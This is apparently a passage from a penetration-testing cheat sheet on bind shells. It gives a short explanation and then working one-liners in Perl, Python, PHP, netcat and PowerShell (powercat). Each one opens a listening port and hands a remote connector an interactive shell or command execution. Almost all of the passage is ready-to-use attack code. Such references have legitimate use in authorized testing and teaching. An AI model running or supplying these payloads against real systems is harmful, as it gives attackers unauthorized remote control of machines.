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Port Bind (Bind_TCP)

Port bind shell code binds a socket to a specific port on the target system and listens for a connection. When the connection comes in from the attacker, the target spawns a shell. This method potentially creates issues with the firewall because the attacking IP is now trying to establish a connection from outside the firewall.

Examples

Perl

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perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'

Python

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python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

PHP

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php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
    socket_write($cl,$m,strlen($m));}}'

Netcat Traditional

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nc -nlvp 51337 -e /bin/bash

Powershell

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https://github.com/besimorhino/powercat

# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep

# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002